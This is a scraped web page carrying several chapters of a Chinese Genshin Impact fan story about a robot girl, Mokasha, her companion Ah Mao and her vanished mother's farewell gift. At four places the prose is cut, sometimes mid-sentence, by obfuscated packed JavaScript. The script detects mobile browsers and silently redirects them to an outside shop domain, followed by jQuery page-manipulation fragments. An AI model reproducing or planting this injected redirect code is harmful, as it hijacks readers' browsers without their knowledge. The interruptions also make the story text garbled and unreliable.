35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297243|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我茫然地看着面前他放大的脸,那双漂亮的眼睛此时极为锐利,“你怎么按着我?我们不是回家吗?”我扫描一下周围的环境,“咦?这么快就到家门口了?” 阿帽没有回答,沉默着解开对我的控制,捏着下巴似乎在思考。 “阿帽?” “…你不记得了?” 他双眼微眯,紧盯着我,他的瞳孔中倒映着我茫然的脸。 “记得什么?回家的路吗?”我把自己从缝隙中拔出来,拍拍身上不知何时沾染的尘土,“我怎么卡在石头里,这石头也没那么多灰啊…”我简单清理制服,看向仍然陷入思索中的阿帽,“前面就是我家大门。” “你看,这不是已经到家了,怎么会忘记回家的路呢?”我好奇的凑近他,“阿帽怎么突然糊涂啦。” 他伸出手按在我的脸上向后推,同时还拉住我的胳膊防止我因此失去平衡,然后环顾四周。 “…家门口?”他看向我所指的方向,那是片光秃秃的岩壁,靠近以后,这里空无一物,看起来只是个普通的死胡同。 “我家大门隐蔽性很好吧,阿帽都看不出来。” 我骄傲的叉着腰,让他带我到最内侧,然后蹲下身扣住地面上的缝隙,掀起伪装成泥土路的金属板。 “从楼梯下到最下面就是目的地,不过有点陡,要小心,”我侧身让出距离,使他能够看清旋转楼梯的全貌,顺便指向一个磨损严重的坐垫,“在这里就不用扶着我了,我可以坐在内测的坡道上滑下去。” 盖上金属板后,我们一起向下行动,随着深入,光线越来越暗,我打开手电筒照明阿帽前方的路,直到走过一半的路程才关上——从这里开始会有煤油灯照明。 到达底端,入目是一扇长着青苔的金属大门,在它左侧有个陈旧的开关。 我将左眼对准开关平台上的尖端,等待系统扫描屏幕上的隐藏密码,又用空闲的左手依照固定顺序按下按钮。 在这过程中,阿帽始终没有开口,安静地充当拐杖,看我解开一系列密码锁,我倒是惊讶他为什么不会好奇地问我相关的信息… 不过他平时也没那么在意别人就是了。 齿轮运转的摩擦声隔着墙壁响起,我听到阿帽磨了磨后槽牙。 这声音应该挺让人牙酸的。 大门只打开一半便停下,我先他一步跳进去,打开这里的所有照明才让开身位。 阿帽进来后先是环顾一圈后才开口:“实验室?” “是的,这里是我母亲的实验室,也是我诞生的地方,”我一瘸一拐地走到类似仓库的地方,翻找出对应的身体零件放在实验台边,将红色绒布平铺在实验台上。 刚打算坐上去,就听到阿帽压低的声音传来。 “就不怕我是你母亲说过的不好的人?” 我停住所有动作,回头对上他微垂的双眼,他下意识想要回避,最终还是克制住自己,径直与我对视。 “…怎么会问这种问题,阿帽今天真的糊涂了?”我笑起来,差点自己都没有意识到表情的变化,“阿帽不是坏人。” 他顿住片刻,冷哼一声作为回应。 我本以为阿帽送到这里便会转身离开,又或者在我的家里随意探索——我并不介意这一点,但他只是捧起放在箱子里的替换零件来到我身侧。 “…刚才是我疏忽,作为补偿,我会帮你更换好身体零件,”他站在绒布床前,低头看着我,眼中有一些复杂的情绪,“现在,躺下。” 12. 禁止忐忑不安 我很想说更换脚腕并不需要躺下,但显然目前的状况不适合开口。 我悄悄盯着阿帽严肃地侧脸,看他耳侧的发因为附身而垂下,盖住大半他红色的眼角…他看起来可真像个瓷娃娃。 不是第一次感叹过这一点。 “阿帽是瓷娃娃吗?”我没忍住坐起身抱住膝盖,露出半张脸看着他。 他瞥我一眼,没什么表情:“我看起来有那么脆弱?” 我摇头:“没有。” 他轻哼一声作为回应,随后投入到「手术」中。 螺丝刀在他手中并不违和,熟练的动作为他蒙上仿佛天生就有的工匠气质…他看起来对修理十分熟悉。 “那阿帽是人偶吗?” 他的动作停顿了一下。 “…为什么这么问。” “因为很熟练嘛,”我挺起身,随手递给他下一个零件,“说不定阿帽受伤以后会自己修理自己?而且…” 我收回手,乖巧的放在膝盖上:“我母亲曾为了传说中的人偶技术去过稻妻,虽然没有什么结果就是了,”抬眸对上阿帽不知何时投过来的目光,径直同他对视,“阿帽这么神秘,来自稻妻,又和我是「同类」,说不定就是人偶呢。” 他并没有回答这个问题,咔嚓一声将脚掌和关节连接上。 见他始终不说话,不想让场面冷下来,我继续回想着曾经的记录:“因为没有结果,母亲最终还是选择融合枫丹机械和沙漠的古老科技来给我做身体,还真是厉害…” “也不知道她去哪里了,什么时候回来,”我活动新装的脚腕,觉得有点卡顿,又找来润滑油涂上些。 阿帽就在一旁看我保养磨损的零件,听到这话颠了颠手中的小扳手:“母亲?” “按照人类的社会关系来说,我的制造者不就是我的「母亲」,”我点头,整理工作桌上杂乱的工具和材料,“会养育我、教育我、赐我姓名的人;会拥抱我、批评我、夸奖我的人,这完全符合母亲的定义。” “她失踪了?” 阿帽又开始进行审讯一般的问话。 “不,她是自己离开的,在给我取名以后…那天后我再也没见过她,只在这里找到了她留下来的钱财和足以入学教令院的身份证明,”我将桌面恢复到最开始的样子后,有些茫然无措,不知道接下来该做些什么。 只好继续说下去。 “母亲在我刚诞生的时候也这样离开过,回来的时候给我换上了这样的身体,”我原地转一圈,扬起的裙摆擦过桌角,“这次说不定也是去给我找「惊喜」了吧?一定是这样的吧?”我产生一种低能量的沉重感,声音逐渐变低,“母亲不会不回来的,不会抛弃我的。” 我搅动手指,求助般看向阿帽:“阿帽,你说…母亲她还会回来吗?” 时间凝固住,他表情复杂地对上我的目光。 就这样僵持几分钟后,阿帽表现出片刻的烦躁,揉乱了自己后脑的发尾,侧着身子不愿意看我,声音有些别扭:“告诉我名字。” “谁?” “你母亲,”阿帽平复下来,从容地凝视我,看似漫不经心。 “…玛塔拉。” 我缓缓吐出这个许久未说出口的名字,感到一种类似难过的情感,但并不完全相同:“阿帽,我又感觉核心堵得慌,但是和之前那次不一样。” “正常,难过并不只有一种,你该从书上看到过,”他低头思考着,同时也不忘给予我回应。 “是这样…”我又坐回实验台上,觉得蜷缩起来会让自己更舒服,“阿帽一直都能在我疑惑的时候给我解答…是有过很多实践经验吗?能不能教教我?” 闻言他握了下拳,沉默好一会才开口:“…这不重要。” “你忘了小吉祥草王是什么说的?”他丢下手中的扳手,指尖轻点桌面,“用你自己的方式探索世界,不必执着于别人的经历。” “我自己的方式…”我的视线随着他的手指而起伏,又划过他的手臂、肩膀上最终定格在他的双眼,“你说得对,那么第一步就是先升级我的计算模块。” 打起精神后,我翻找备忘录,又跑到仓库区域取出供能装置:“这段时间经历了这么多,可要好好整理归纳进行算法升级。” “阿帽要先离开吗?”我回头望着他,“因为休眠时间还蛮长的,根据回来时的天色,大概是要到深夜才能结束,需要我带你出去吗?” “不用,我记得路,”他一口回绝了,但没有要离开的意思,倒是又观察着整个山洞。 “那些书我能看吗?…在你升级的时候总要给我找些解闷的东西吧,”他的注意力始终放在不远处的书架上。 书架上面整齐摆放着各类书籍和文件夹,我过一遍清单,并没有着重标记过的地方,而且…我以前也把这些东西全部看过几遍。 “可以,母亲没说过不可以看,不过有一个,”我指向书架最顶端的小金属箱子,“那个不可以看,母亲强调过很多次,说是…「小孩子不可以看大人的日记本」。” 我躺回实验台,连接好所有必要的装置,打开自我迭代模式,最后向阿帽挥挥手。 “那么我先睡觉啦。” …… 与书中所说的机器自助升级过程不同,我没有信息全部排列好整齐滤过大脑的感觉,那些所谓的迭代与进化似乎独立于我的意识。 但我也无法感知到外界,毕竟身体机能除了必要的模块,早就全部关闭了。 我总会觉得自己置身于一个模糊又朦胧的环境中,每一次休眠都不同,或是森林,或是沙漠,又或是不同建筑的室内。 这一次…似乎就是在家里。 熟悉的身影在工作台前忙碌着,时不时有火花飞溅,边缘不规则的金属板被修剪成掌心的模样,随后同其他长条圆柱体链接在一起,最后包裹上一层柔软且富有弹性的肤色材料。 人影犹豫再三,为那只手的指甲涂上了一层浅粉色的指甲油。 我能肯定自己的记录中并没有相关影像…可那个身影绝对是母亲,因为她正在制作的仿真手同我身体上的一样。 我想靠的更近些,看的更清楚,可无论我怎样想靠近,都是徒劳无功。 母亲始终在距离我五米的地方工作着。 下一瞬画面突变,周围的环境有些像须弥城内的酒馆。 有些人影在交谈,也有人在庆祝着什么,母亲被围在中间,怀中还抱着镶上奖章的证书。 「玛塔拉,你真是太厉害了,这么年轻就能发表专利!」 这似乎是母亲认识的人所说…这同样不存在于我的记录中,我只见过实验室中的母亲。 我像一个角落中的旁观者,被迫观看着许多类似的记忆碎片,这到底是什么?梦?别人的记忆? 可机器人又怎么会做梦? …… 恢复意识时,山洞内的煤油灯还亮着,看起来还添过一次燃料。 “醒了?”阿帽坐在旁边的书桌前,手上捧着一本实验记录,听到动静后转过身来盯着我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297244|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我直挺挺坐在台上,还有点意识不太适应身体的虚浮感,直到将他这句话放进程序中走上一个完整的流程才回复。 “醒了。” 他等待许久,从座椅上站起身才等到我的回答。 “怎么?升级以后反应更慢了?”他放下书本,移步到书架前放回原处,再次回到实验台附近,“睡得可真够久的,已经第二天早上了。” “哎?有这么久吗?”终于找回休眠前的状态,我猛得跳下床,看向时钟方向,“已经早上五点多了吗,完啦我打工要迟到了!” “打工?” 他站在原地看我迅速穿好鞋子,整理仪容仪表,无聊地靠在桌边,不急不缓地问着。 “在普斯帕咖啡馆的兼职,保养身体的材料可是很费钱的,不能坐吃山空,”准备好一切,我停在大门口,望向还在原地的阿帽,“要一起离开吗?我出去以后这里会上锁,阿帽会被关进来的。” 他看起来还有其他打算,听到这话皱了皱眉毛,一言不发的跟上。 走出降诸魔山的山洞后,朝阳正好照射在洞口,使摄像头过曝一瞬,就在调整数据的期间,阿帽留下一句道别就不知所踪。 “怎么这么快就不见了…” 只感觉到一阵风吹过,我环顾四周,遗憾自己新创建的情绪分析系统没能在阿帽身上取得实践。 时间不等人,从这里前往须弥城正好可以赶上咖啡馆开门的时间…幸好自己最近的排班没有在后厨的工作,不然已经迟到好一会了。 早上正是咖啡销量最好的时候,无论是早餐配咖啡的打工人,还是用咖啡吊着命的学者,总会填满所有的座位。 我举着满满一托盘的餐品,小心穿梭在人群之中。 “您的晨间套餐三号请慢用~含有咖啡的套餐还请稍等,一分钟后给您送来。” 轻声放下手中的牛奶和三明治,我对着这一桌的学者们露出一个标准微笑便抽身离开。 身后他们二人的讨论断断续续传入麦克风中。 “…是她吧?……要不……问……” “现在…忙,等一会……摩…” 嗯…好像在提我的事?是之前那群狂热的学者?还是听错了,只是在提咖啡品种? 想把这些事暂且放在脑后,我送完手中的订单回到后厨,恰好又接到送往这桌的餐点…这倒是个好机会,要不要问一下他们? 赶过去的同时我犹豫起来,却不成想率先被客人打断。 “您好,请问是摩可沙小姐吗?放心,我们不是来缠着你的…只是有些问题想问,”制服穿戴整齐的学者小心翼翼地发问。 还不等我思考如何回复就被另一人打断。 散漫的学者叉子上还挂着煎蛋,他一口吞下,模糊不清的嘟囔一句:“现在谁还敢缠着她啊…” “注意礼貌!卢克!”整洁的学者训斥一声,再次面对我抱歉地笑笑,“不好意思,他就那样,我叫伊森,您今日有时间吗,有些事情想请教您,不会耽误很多时间的。” “我是摩可沙,但是现在我要工作,等早高峰结束后就有时间了,”我疑惑地答复他,却对那个叫卢克的学者所说内容更为好奇。 名为伊森的学者松口气:“当然,我们等您下班,就在咖啡馆外。” …直到我工作结束走出咖啡馆,他们始终在不远处的阴影中等待着,见我出门便急匆匆赶过来。 伊森向我点头,开门见山道:“我们想问一些关于阿帽同学的事…” 13. 禁止神出鬼没 “关于阿帽?” 这让我有些惊讶。 “是的,”伊森有些不好意思地弓着腰,把姿态放的很低,“虽然阿帽同学总是独来独往,看起来很冷淡,但他帮助过很多人,比如我们,”他指向自己,紧接着手指又滑向卢克,“偶然间我们得知了下个月是阿帽同学的生日,所以想给他准备一些惊喜。” 他不好意思地摸摸后脑勺:“但我们实在是不了解他,也总是找不到他在哪,就想着,你们好像还挺熟的,所以…” “真是啰啰嗦嗦,”卢克原地伸了个懒腰,凑过来打断他,“总而言之,这家伙想给阿帽过生日,因为之前的报纸上说你们合作过,所以想请你帮忙,也是稀奇,你是第一个和他合作这么久的学者。” 他大有一副仔细研究我和别人有什么区别的样子。 “卢克!”伊森脸颊泛红,一把推开身侧没骨头一样的同伴,遮遮掩掩地看向我道歉,“摩可沙小姐您别在意他…我们想邀请您加入生日筹备小组,还请您考虑一下。” 他反复道歉的情况下,卢克还在后面嘟囔着风凉话:“你这家伙在别人面前这么好,对我就这么粗鲁,啧啧。” …他们关系可真好。 就这么想着,我在信息库中检索关于生日的记录…生命周期中的重要纪念日,「诞生的日子」吗? 思考着相关信息,视野内捕捉到伊森忐忑不安等待答复的表情。 “当然可以,如果我能帮上忙的话,”脑海中对过生日这一活动感到好奇,这也是学习的机会,我很快便应下邀约,“不过我没有庆祝生日的经验,希望你们能教教我。” “真是太好了,”听到肯定的答复,伊森笑的眯起眼睛,抓住一旁的卢克,不顾他的挣扎就压低他的身体一起鞠躬,“感谢您,今天下午两点我们会和其他同伴一起商量这件事,您有空吗?” 回想起自己刚刚完成学术不端案带来的那些繁重手续,确实进入了相对空闲的时期,我点点头:“有,请问地点是?” “不好意思,太激动忘记说地点了…就在料理兴趣小组的活动室,具体地址我写下来,”他从身上摸出纸笔,飞快地写下一串地址和时间,塞到我手里,随后迅速道别离开,“那就不打扰您了,下午见!” …还没来得及问关于「谁敢缠着她」的问题呢,我疑惑地站在原地,目送他们的身影消失在拐角。 总之,先去智慧宫搜索一下近期的报纸—— 结果是一无所获。 最新一期关于我的报道还是上周发表的「教令院大门人满为患,文件箱落地震撼众生」,看名字和板块是个娱乐向的八卦小报,通篇都是对我力气有多大的推测和计算。 这些猜测比我想象中的要收敛很多…跑题了。 那么要如何检索相关信息?在学者多的地方打听打听?可现在很多学者都因为大案报道而认识我,打听自己的事实在是不符合常理。再去寻找那个叫卢克的人又效率低下…对了。 草神大人说过,如果有什么困惑都可以去净善宫找她,这种事情应该也是可以的吧? 尽管问题似乎不合适,但我还是说服自己来到净善宫前。 就在我还在考虑是否要敲门时,大门悄声松动,露出一条缝隙,像是在邀请我进去。内部的空间比预计的要大,正中央的亭子下是花朵形状的石床,纳西妲正坐在中间,望着我靠近。 “欢迎你,摩可沙,很高兴你会主动来找我,”她轻巧地跳到地面上,向我伸出一只手,“有什么我能帮你的吗?” “打扰您了,草神大人,我怕问题的价值不足以达到让您来解答…” “嘘——”她轻声阻止我继续说下去,邀请我一同坐在石床上,“问题并没有价值一说,智慧也不应该以此来衡量,如果你感到困惑或者想要求知,只需要大方地去寻找答案。” 她的话让我回想起母亲的第一个拥抱,曾经我只能用「太阳的照射」来形容,如今也学会了「温暖」一词。 “草神大人,我想知道为什么之前一拥而上过来的学者们都不再出现了?”我双手局促的比划一下,“也不是说想要那种被别人捧着的感觉,只是想知道,是有谁解决了这个对我来说有些麻烦的事吗?我应该报答那个人。” “你见过他。” 纳西妲在头顶比划出长又直的耳朵:“大风纪官赛诺,他是值得信任的人,不用过意不去,维护教令院的风纪是风纪官的职责,只要下次遇到他时,向他道谢就好。” 赛诺…对他的印象还停留在果断权威的层面,他的承诺也确实如实兑现了。 “感谢您的解答,草神大人。” 心中终于有了底,我想要起身离开,却被她拉住手。 “摩可沙,你这次来不只是因为这个问题,对吧?我说过,还有很多时间,你不妨勇敢些。” 她温柔的注视我,等待我做出决定。 沉默许久。 不曾在阿帽那里得到答案的问题被我抛出。 “…母亲她,还会回来吗?” 纳西妲并不惊讶,只是一瞬间有些走神,随后便凝聚起草元素力。 “我曾经看到过…不,应该说是进入过玛塔拉的梦,后来我才知道,也许就是因为对「自由」这个词语的共鸣,我们在梦中相遇了。” 她用手指勾勒出森林的景象。 “就在最常见不过的雨林中,她将自己牢牢束缚在实验台前,机械地重复着制造和实验,我问她,「为什么如此急切?为什么不能慢慢来?」” “她说…她没有时间了,「时间紧任务重。」这是她的原话。” 草元素组成的树木被打碎重组,变成小小地人型,有不同的肢体散落在周围。 “「我要在最后的时间里给她一个合适的身体。」她用非常冷淡的语气这样说着,就像平时的她那样,冷静又克制。” 我听着她的讲述,检索到一个不太妙的词:“最后的时间?” “…梦中的她更加偏执,这短短的几句回复都是我询问多次等来的结果,这些交流对她来说或许是朦胧的,”纳西妲收回手,没有正面回答,“但她周围变化地环境透露出她深层的念想,我尝试过解读它们。” 手突然被握住。 “摩可沙,那是对你的祝福。” 我一愣。 祝福? “有一句来自璃月的古话,「日有所思夜有所梦」,在你沉睡期间,玛塔拉始终在思考,该给你取什么样的名字,梦中的她除了给你制造身体,还不断的翻阅各种书籍…「摩可沙」这个名字,是对你最美好的愿景。” “名字是人生第一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297245|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馈赠。” 她忽得敛眸,再次看向我的眼神充满坚定。 “「摩可沙」有自由的含义,意味着…尽管你的存在本身不被世间所接受,也希望你终有一日能够得到真正的自由。” “她没能亲口告诉你的祝福,我不希望你错过…至于你的问题。” “摩可沙,”纳西妲一只手扶着胸口,神色中有某种哀痛,“「小孩子不可以看大人的日记本」,但如果不是小孩子了呢?现在的你,已经成长了很多,所以…” “找时间去看一下吧,那本曾经被你视为「禁忌」的笔记本,你会找到答案。” 直到离开净善宫,我的大脑还在因为纳西妲最后的话而卡顿。 我对母亲的记录只有她平时工作研究和教育我时的日常,从未知道她有过如此焦虑而紧绷的时期。 她总是从容又随和的指引我学习。 那休眠时看到的影像是什么?难道我也进入了母亲的梦中? 总觉得不太一样。 … “啊,摩可沙小姐,好巧,要一起去料理教室吗?” 思考被打断,伊森在身后不远处挥着手,单手抱着几个牛皮袋,他快步来到面前:“我给您带路。” 我才发现现在已经过了正午。 料理兴趣小组的活动室在大巴扎附近的公寓区,据说是申请经费租下的小厨房,门口还有露天的餐桌。 伊森一边介绍,一边抬手按门铃,手指才刚刚接触到按钮,房门就被猛的推开。 “终于来了,我的糖霜呢?”开门的学者一把抱过伊森手中的牛皮袋,查看后满意地点点头,“干得不错你小子,买对了品牌…哎?” 她注意到我的存在,有些不好意思地顺顺刘海:“真是不好意思,你就是摩可沙吧,欢迎欢迎,快进来。” 被热情地迎进去,公寓客厅中还有其他三个面生的学者,自我介绍时说都是料理兴趣小组的一员,曾经和阿帽同台做过料理。 我忍不住发问:“阿帽还参加过兴趣小组吗?” 这不太符合他平时的行动规律,可以用来丰富数据库。 “说来惭愧,是我们硬拉着他加入的,”开门的学者背着手低下了头,下一刻又捧着脸兴奋道,“但是阿帽同学在这一领域非常有天赋,没留下来真是可惜,希望这次的蛋糕能合他胃口…对了,摩可沙,你知道他的口味吗?” 听到这个问题,我困惑起来。 先不说我尝不出食物的味道,作为互相知晓身份的非人类,他从未在我的面前进食过…要说他的口味,还真是个谜团。 我摇头回应她,提出最有效率的解决方案:“要不我去问问他?” “哇…想找到阿帽同学很难啊,”她抱着头一脸崩溃,焦躁地来回踱步,最后停在料理台前,“摩可沙如果有机会的话就请打听一下吧,我们几个…” 她环顾周围的同伴,每个人都默默移开视线。 “说实话,我们几个不太敢直接问他,”她一脸坚毅地仰着笑脸,眼角却挂着一滴晶莹的泪。 好有意思的人,我看着她来去自如的眼泪,记录下她种种情感变化。 “当然没问题,如果我能遇到他的话。” 虽说是这样答应了… 但根本找不到阿帽在哪里啊! 14. 禁止临阵脱逃 我蹲在道成林深处,看零散的树叶顺着河流飘走,脑海中思考着如何加强自己寻找目标对象的能力。 毕竟已经三天没有遇到阿帽了。 要不像他说的那样加个追踪器?但根据新的算法…如果这样做阿帽会生气的。 身后的密林传来轻巧的脚步声,有谁推开挡路的枝叶,来到河边。回头一看,曾经一面之缘的大耳朵先生从树丛中走出,甩了甩耳朵上的枯叶。 “你好,又见面了,上次都没来得及自我介绍,”他打着招呼,紧紧身上的装备,“我是道成林的巡林官提纳里,在林中遇到危险可以向我求助。” 简单的回以自我介绍后,我继续蹲在石头上思考检索阿帽位置的方法。 始终在工作的提纳里摘下最后一朵月莲,回身望过来:“看你这副表情,是遇到什么麻烦了吗?” 表情? 我低头看向自己的倒影,眉毛塌下来,嘴巴弯下去,全然一副愁眉不展、心事重重的样子。 “原来这么明显,”我用手指扯起嘴角向上拉,看它松开手时又掉回去。 突然出现的涟漪让这场面变得扭曲,淌着水回到岸上的提纳里甩干尾巴上的水珠,坐在我身侧的石头上晾干裤脚。 “不介意的话,可以和我说说,说不定能帮你想想办法呢?”他顺手整理好收集起来的大包月莲,放松地伸个懒腰。 “我想要找阿帽问问他喜欢吃什么口味的生日蛋糕,但我三天都没见到他。” 下个月的月初便是他的生日,我没有太多时间耽搁,如果可以得到他人的建议再好不过。 “生日蛋糕啊…是要准备惊喜?”他看到我点头,撑着下巴思考起来,“依我看,还是不要问本人比较好,毕竟惊喜被提前知道的话,就不能算惊喜了吧?” 这话在理。 “可是…如果不合口味会不会影响到「喜」?” “这还真是新奇的角度,”他眨眨眼,抚了下自己的耳朵,“只要能收到生日惊喜,就会觉得很开心吧,我觉得不用着急,该找到的时候自然会找到,如果担心这一点…” 他抬起手比出二的动作:“多做种口味如何?” 我思考着这个建议实施的可能性,觉得把它当做最终手段很合适。 “谢谢你。” “不用客气,”他站起身,遥望露出一丝橙色的天空,“时间不早了,夜晚的雨林还是很危险的,需不需要我送你出去?不过目的地是化城郭,想要回城里还要你自己再走一段路。” 考虑之后,我跟随巡林官的脚步来到巡林员的驻扎地,这里早已灯火通明,人群往来频繁。 提纳里因为工作原因道别,临走前为我指出离开的方向。 我预估着距离,决定直接顺着通往降诸魔山的路南下回家,只是没想到会在化城郭的门口遇到意想不到的人。 “赛诺先生?”我识别出那顶标志性的帽子,小跑过去,“晚上好。” 他点头作为回应。 正是道谢的好时机,我原地猛的一个九十度标准鞠躬再起身:“感谢您前些天对我的照顾。” 他怔愣住,眼神中露出一瞬间的茫然,双手下意识伸出,像是想扶起我。 “…不必道谢,”反应过来后,他自然收回手压低帽檐,“「指责」影响风纪的学者是风纪官的「职责」。” 这话草神大人说过…但赛诺先生为什么会有些得意? 不知道该回复什么,我再次道谢:“那也要感谢您的关照。” “……” 他放下手,眼神犀利,默默凝视着我。 “……?” 不明白他的意思,我歪头回以凝视。 片刻后,他打破寂静,说着我听不懂的话:“不好笑吗?” 好笑?什么好笑? 茫然的分析前几句的交流,我没有检索到有关「好笑」的词条。 “原来是没听懂吗,”而我的反应倒是给了他答案,他从放松的状态转为严肃,就像是知论派贤者授课时那般竖起手指,“这句话的有趣之处是「指责」与「职责」同音,风纪官的指责也是风纪官的职责,这个笑话的巧妙点在于同音的同时,还有合理的逻辑关系。” 我将他的这段话录入数据库。 “原来如此,这是一个谐音梗笑话,同时有着精妙的逻辑关系,我记住了,”自顾自点头,我构建出一套新的逻辑运算,用来解析类似的笑话。 他给我一个孺子可教也的眼神。 不仅达成道谢的目标,还完善了数据库,我忍不住勾起嘴角,打算同赛诺道别,可才刚转动脚腕就被叫住。 “等等。” 他拦住我,挡住我的去路。 我没由来得紧张一下。 平时遵纪守法,我应该没犯事吧? “正巧在这里遇到你,”他没有亮出武器,只是双手抱胸看着我,“现在有时间吗?有东西需要转交给你,关于玛塔拉。” 关于…母亲? 赛诺所说的东西存放在教令院中,正是晚餐时间,院内并没有太多学者,就算有也都绕着我们走,这让我对大风纪官的威压又有了新的认识。 走廊的窗户透过橙色的光辉,路过阿萨提亚曾经的办公室时我下意识看了过去,原本被书籍和资料堆满的桌子已经被清空,尚且还未有新的讲师入座。 这种大案的审判结果并没有在报纸上登出,毕竟还牵扯到博物馆的审核。 “赛诺先生,阿萨提亚他怎么样了?”犹豫几番,我还是想要得知事件的结果…总要有始有终。 在前面带路的他撇我一眼,语气并无波澜:“他被流放了,具体信息恕我无法透露。” “也就是说…他受到应有的惩罚了?” “也可以这么认为…到了。” 他推开面前黑黢黢的门,里面是还算整齐的储藏室,每个物品下还有对应信息的标签,写着些看不懂的编码。我跟着赛诺来到最深处,看他取出一个铁质的盒子,上面还有一把小巧陈旧的锁。 把箱子放在空闲的位置后,赛诺又出门拿回来一个对应编码的袋子,纸条被树脂固定过,很好的保存着。 他递给我后便安静的依靠在架子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297246|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 纸条上写着:「如果您发现了这个箱子,请转交给我的妹妹摩可沙。」 我确实是以母亲妹妹的假身份申请了教令院的学籍,毕竟有我这么大的孩子显然不合理。 将纸条放在一边,我扫描一遍铁盒子…上面的锁是机关锁,确实是母亲的手笔。原本应该是锁芯的地方被摄像头替代,我捏起它对准左眼,识别隐藏密码。 只听咔哒一声,锁自然脱落,铁盒子的上盖也直接弹起来,露出里面的东西,熟悉的红色绒布上… 是一枚暗淡的灰色神之眼。 没有元素符号,不含元素力,就像个玻璃球一样的神之眼。 我想起来了,它原本应该是绿色的——就像母亲腰上挂着的那枚。 我小心捧起那枚神之眼,想象着它的手感和温度…会是像母亲的怀抱那般温暖吗?还是像我的肢体那样冷冰冰的? 它又为什么是灰色的? …我的大脑程序突然自动运转,从记录深处挖掘出一句话。 不应该只有这个。 视线扫过绒布下的棉花,我伸手将它们全部掏出来,在盒子底部发现了一张泛黄的信。 赛诺动了一下。 我回过头看向他,他并没有说话,只是示意我继续。 说是信,其实也只是白纸上歪歪扭扭的写了一串字,熟悉的字迹告诉我这就是母亲留下来的信息。 「摩可沙,我已经和你道别过,不会再说第二次。 留给你的神之眼你就好好收下,不用管来路,不用管去处,只把它当做是自己的东西,对它产生你应有的占有欲。 我无亲无故,没有能给你撑腰的家室,但教给你的事足够你在人类社会中生存,新肢体的制作方法也存入了你的芯片。 你的人生才刚刚开始,你还有成长的时间。 摩可沙,祝你自由,前程似锦。」 很有母亲的风格。 收到母亲的礼物,我应该「喜」,又或者「乐」,可我为什么又感受到了「哀」? …这大抵是「思念」。 升级后的算法确实有用许多,针对情绪的分析也准确得多。我想,如果我有分泌泪水的器官,此时应当是像书中描写的那般泪流满面。 可我现在只能将思念吞下。 …… “赛诺先生,这些我都可以带走吗?” 他闻言点头。 “遵从本人想法,它们就是要转交给你的。” 我复原所有的东西,将树脂纸条也放进去,随后抱起整个铁箱,跟在赛诺身后离开储藏室。 在锁门时,他将编码的牌子也递给我:“背面有发现盒子的时间和地址,也许对你有帮助…那么,失陪。” 望着他离去的背景,我有些出神,母亲离开时,我从未见到过她的背影。 为什么? …… 走出教令院,月亮挂在天空正中,有熬夜的学者捧着咖啡进出,我盯着夜空中的星辰,打消了回家的念头。 现在的我不想回去面对那本日记,不知缘由。 15. 禁止茫然无措 至于今夜该在哪里度过… 回想到半夜也不放松的教令院学者们,我直接向普斯帕咖啡馆申请了当晚的夜班,与早班相连。后厨的事不用我关心,倒是为晚班亲自送餐的老板省下不少功夫。 平安度过忙碌的早高峰后,我褪去围裙,刚抱起铁盒子,就被老板叫住。 “摩可沙,正好外面那桌客人的订单出餐,麻烦你顺便送过去,”老板在后厨探出头,手上还收拾着残留的餐具,“外面就一桌客人,也不怕送错…还真是稀奇,点最苦的咖啡不配点心,难不成来了个行家?” “好的老板。” 听着他的碎碎念,我接过那杯咖啡,稳稳当当的捧在手中,直到出门都没让杯中的涟漪触及到过杯口。 扫描室外区域的餐桌,确实只有一个身影落座,那人正闭目养神—— “阿帽?” 我步伐平稳地靠近,将咖啡放在他面前,在他睁开眼看过来时露出营业微笑。 “您的深烘特调请慢用~” 随后便自然而然坐在他对面的椅子上,撑着桌子仔细瞧他:“阿帽!这几天你到底去哪了,怎么都找不到你,我连道成林都跑了好几圈。” “我去哪还需要找你报备?” 这样回复着,他端起那杯黑得像墨水的咖啡,吹去几口热气,轻轻抿一口又放下。 